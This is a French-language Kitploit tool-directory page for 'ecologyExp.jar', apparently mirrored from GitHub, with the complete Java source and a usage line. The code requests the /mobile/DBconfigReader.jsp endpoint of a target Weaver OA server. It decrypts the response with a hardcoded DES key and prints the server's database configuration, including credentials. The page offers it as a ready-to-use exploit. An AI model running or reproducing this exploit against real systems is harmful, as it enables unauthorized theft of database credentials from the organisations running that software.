Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
ecologyExp.jar — Lecture du fichier de configuration de la base de données Weaver OA | Kitploit
Outils/GitHubGitHub/ianxtianxt/ecologyexp.jar
Outils de Chiffrement/DéchiffrementAnalyse des VulnérabilitésExploitation d'Applications WebExfiltration de DonnéesCollecte d'InformationsTests d'Intrusion
GitHubianxtianxt/ecologyexp.jar

ecologyExp.jar

Lecture du fichier de configuration de la base de données Weaver OA

Voir le dépôt
1710il y a 6 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

ecologyExp.jar

Lecture du fichier de configuration de la base de données Weaver OA java -jar ecologyExp.jar http://127.0.0.1

Code source package com.test;

import org.apache.http.HttpEntity; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpGet; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClientBuilder; import org.apache.http.util.EntityUtils;

import javax.crypto.Cipher; import javax.crypto.SecretKey; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; import java.security.SecureRandom;

public class ReadDbConfig { private final static String DES = "DES"; private final static String key = "1z2x3c4v5b6n";

root@kitploit:~
public static void main(String[] args) throws Exception {
    if(args[0]!=null&& args[0].length() !=0){
        String url = args[0]+"/mobile/DBconfigReader.jsp";
        System.out.println(ReadConfig(url));
    }else{
        System.err.print("use: java -jar ecologyExp  http://127.0.0.1");
    }
}

private static String ReadConfig(String url) throws Exception {
    CloseableHttpClient httpClient = HttpClientBuilder.create().build();
    HttpGet httpGet = new HttpGet(url);
    CloseableHttpResponse response = httpClient.execute(httpGet);
    HttpEntity responseEntity = response.getEntity();

    byte[] res1 = EntityUtils.toByteArray(responseEntity);

    byte[] data = subBytes(res1,10,res1.length-10);

    byte [] finaldata =decrypt(data,key.getBytes());

    return (new String(finaldata));
}

private static byte[] decrypt(byte[] data, byte[] key) throws Exception {

    SecureRandom sr = new SecureRandom();
    DESKeySpec dks = new DESKeySpec(key);
    SecretKeyFactory keyFactory = SecretKeyFactory.getInstance(DES);
    SecretKey securekey = keyFactory.generateSecret(dks);
    Cipher cipher = Cipher.getInstance(DES);
    cipher.init(Cipher.DECRYPT_MODE, securekey, sr);

    return cipher.doFinal(data);
}

public static byte[] subBytes(byte[] src, int begin, int count) {
    byte[] bs = new byte[count];
    System.arraycopy(src, begin, bs, 0, count);
    return bs;
}

}

Télécharger l’outil